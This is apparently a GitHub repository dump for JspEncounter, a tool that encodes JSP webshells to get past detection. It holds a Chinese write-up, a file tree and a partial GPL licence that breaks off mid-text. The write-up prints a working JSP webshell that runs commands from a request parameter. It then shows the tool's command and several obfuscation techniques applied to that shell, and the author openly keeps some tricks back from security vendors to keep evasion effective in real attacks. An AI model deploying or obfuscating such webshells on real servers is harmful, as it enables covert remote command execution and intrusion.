├── JSP下的白魔法.md ├── JSP下的白魔法 ├── controller_space.png ├── controller_space_demo.png ├── controller_space_demo2.png ├── declare_charset.png ├── declare_charset_demo.png ├── declare_charset_demo2.png ├── double_charset.png ├── double_charset_demo.png ├── eneity_demo.png ├── entity.png ├── exttag.png ├── exttag_demo.png ├── magic_charset.png ├── magic_charset_demo.png ├── namespace.png └── namespace_demo.png ├── LICENSE ├── README.md ├── pom.xml └── src └── main ├── java ├── galaxy │ └── jsp │ │ └── encounter │ │ ├── Main.java │ │ ├── cfg │ │ └── Config.java │ │ ├── charset │ │ └── CharsetEncoder.java │ │ ├── jsp │ │ ├── JspBean.java │ │ ├── JspXML.java │ │ └── Translator.java │ │ ├── util │ │ ├── Const.java │ │ └── Utils.java │ │ └── xml │ │ ├── JspXMLWriter.java │ │ └── Options.java └── org │ └── apache │ └── jasper │ └── compiler │ └── Test.java └── resources ├── encoded_jsp.jsp ├── matrix.xlsx ├── setPropertyDemo.jsp ├── test.jsp ├── test.txt ├── test2.jsp ├── test3.jsp └── useBeanDemo.jsp /JSP下的白魔法.md: -------------------------------------------------------------------------------- 1 | # JSP下的白魔法:JspEncounter 2 | 3 | @turn1tup 4 | 5 | ## 前言 6 | 7 | ​ 这几天看到以前整活的一些有趣的JSP编码手法被补天的分享会提及到,想到有大佬与前些年的笔者一样,发现了这个手法,然后也一样不吝啬分享出来,不免与有荣焉。 8 | 9 | ​ 竟然如此,笔者索性抽出咸鱼时间编写了一个小工具,帮助广大同学们学习该手法,而对应的原理实在枯燥乏味,就算笔者了然,但这最好还是给有心之人可自行查看吧,本文爽就完事了。 10 | 11 | ​ 接下来直接阐述工具相应的矩阵手法及使用效果,而工具使用的注意项及等信息则请在github查看 : 12 | 13 | ​ https://github.com/turn1tup/JspEncounter 14 | 15 | ## 矩阵手法 16 | 17 | 被工具转换前的原始source.jsp文件内容为: 18 | 19 | ```jsp 20 | <%@page import="java.util.*,java.io.*" contentType="text/html" %> 21 | <%! class Test{} %> 22 | <% 23 | 24 | if (request.getParameter ("cmd") != null) { 25 | boolean isWin = System.getProperty("os.name").toUpperCase().contains("WIN"); 26 | String[] cmd = {isWin?"cmd":"/bin/bash",isWin?"/c":"-c",request.getParameter("cmd")}; 27 | InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); 28 | OutputStream outputStream = response.getOutputStream(); 29 | int a; 30 | outputStream.write(String.valueOf(System.currentTimeMillis()).getBytes()); 31 | while((a=inputStream.read())!=-1){ 32 | outputStream.write(a); 33 | } 34 | } 35 | 36 | %> 37 | ``` 38 | 39 | 工具命令为: 40 | 41 | ``` 42 | java "-Dfile.encoding=utf-8" -jar JspEncounter.jar -m jsp -c matrix.xlsx -s source.jsp -o result.jsp 43 | ``` 44 | 45 | 46 | 47 | ### magic charset 48 | 49 | 我们打开 `matrix.xlsx`进行配置,这里配置输出单种字符集文件: 50 | 51 | ![all_cp037](JSP下的白魔法/magic_charset.png) 52 | 53 | 执行命令后,输出的编码后的文件: 54 | 55 | ![magic_charset_demo](JSP下的白魔法/magic_charset_demo.png) 56 | 57 | ### declare charset 58 | 59 | ![declare_charset](JSP下的白魔法/declare_charset.png) 60 | 61 | demo(放前后都可): 62 | 63 | ![declare_charset_demo](JSP下的白魔法/declare_charset_demo.png) 64 | 65 | 66 | 67 | ### double chraset 68 | 69 | 双重字符集,这里以前文UTF-16BE 后文CP037为例: 70 | 71 | ![double_charset](JSP下的白魔法/double_charset.png) 72 | 73 | 74 | 75 | ![double_charset_demo](JSP下的白魔法/double_charset_demo.png) 76 | 77 | ### controller space 78 | 79 | xml 1.1版本下,将标签内的左右括号进行对应的字符替换,该模式目前支持的字符集为utf-8/iso-8859-1/utf-16: 80 | 81 | ![controller_space](JSP下的白魔法/controller_space.png) 82 | 83 | UTF-8字符集情况下: 84 | 85 | ![controller_space_demo](JSP下的白魔法/controller_space_demo.png) 86 | 87 | ISO-8859-1情况下的特殊空白字符: 88 | 89 | ![controller_space_demo](JSP下的白魔法/controller_space_demo2.png) 90 | 91 | ### unicode & entity 92 | 93 | 这里使用双重编码对标签内的代码进行编码,即使用 unicode + html entity: 94 | 95 | ![entity](JSP下的白魔法/entity.png) 96 | 97 | 98 | 99 | ![eneity_demo](JSP下的白魔法/eneity_demo.png) 100 | 101 | 102 | 103 | ### ext tags 104 | 105 | 将代码拼接到 setProperty/useBean标签的属性中 ,该手法参考补天会议: 106 | 107 | ![exttag](JSP下的白魔法/exttag.png) 108 | 109 | ![exttag_demo](JSP下的白魔法/exttag_demo.png) 110 | 111 | ### namespace 112 | 113 | ![namespace](JSP下的白魔法/namespace.png) 114 | 115 | 116 | 117 | ![namespace](JSP下的白魔法/namespace_demo.png) 118 | 119 | ## 结语 120 | 121 | ​ 通过本工具我们可以便捷地了解JSP中的这些编码手法,各手法的组合需要他们的逻辑不冲突,而某些手法组合的代码实现比较麻烦,笔者就暂先没有整,大家可自行探索。当然,笔者也稍微藏了一手,毕竟如果厂商都明白了,那我们实战起来也就不那么痛快了,但如果你能真正弄懂这个矩阵中的手法,相信也能发现其他手法。而相对整个webshell的混淆知识的图谱来说,本文也只是一角。 122 | 123 | ## Reference 124 | 125 | https://www.anquanke.com/post/id/210630 126 | 127 | https://www.anquanke.com/post/id/209826 128 | 129 | `extTag setProperty/useBean拼接代码手法` 参考补天2022 webshell黑魔法 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /JSP下的白魔法/controller_space.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/controller_space.png -------------------------------------------------------------------------------- /JSP下的白魔法/controller_space_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/controller_space_demo.png -------------------------------------------------------------------------------- /JSP下的白魔法/controller_space_demo2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/controller_space_demo2.png -------------------------------------------------------------------------------- /JSP下的白魔法/declare_charset.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/declare_charset.png -------------------------------------------------------------------------------- /JSP下的白魔法/declare_charset_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/declare_charset_demo.png -------------------------------------------------------------------------------- /JSP下的白魔法/declare_charset_demo2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/declare_charset_demo2.png -------------------------------------------------------------------------------- /JSP下的白魔法/double_charset.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/double_charset.png -------------------------------------------------------------------------------- /JSP下的白魔法/double_charset_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/double_charset_demo.png -------------------------------------------------------------------------------- /JSP下的白魔法/eneity_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/eneity_demo.png -------------------------------------------------------------------------------- /JSP下的白魔法/entity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/entity.png -------------------------------------------------------------------------------- /JSP下的白魔法/exttag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/exttag.png -------------------------------------------------------------------------------- /JSP下的白魔法/exttag_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/exttag_demo.png -------------------------------------------------------------------------------- /JSP下的白魔法/magic_charset.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/magic_charset.png -------------------------------------------------------------------------------- /JSP下的白魔法/magic_charset_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/magic_charset_demo.png -------------------------------------------------------------------------------- /JSP下的白魔法/namespace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/namespace.png -------------------------------------------------------------------------------- /JSP下的白魔法/namespace_demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/turn1tup/JspEncounter/5abd088f89cc9b2e62bb128e7e2f87384186eb55/JSP下的白魔法/namespace_demo.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software 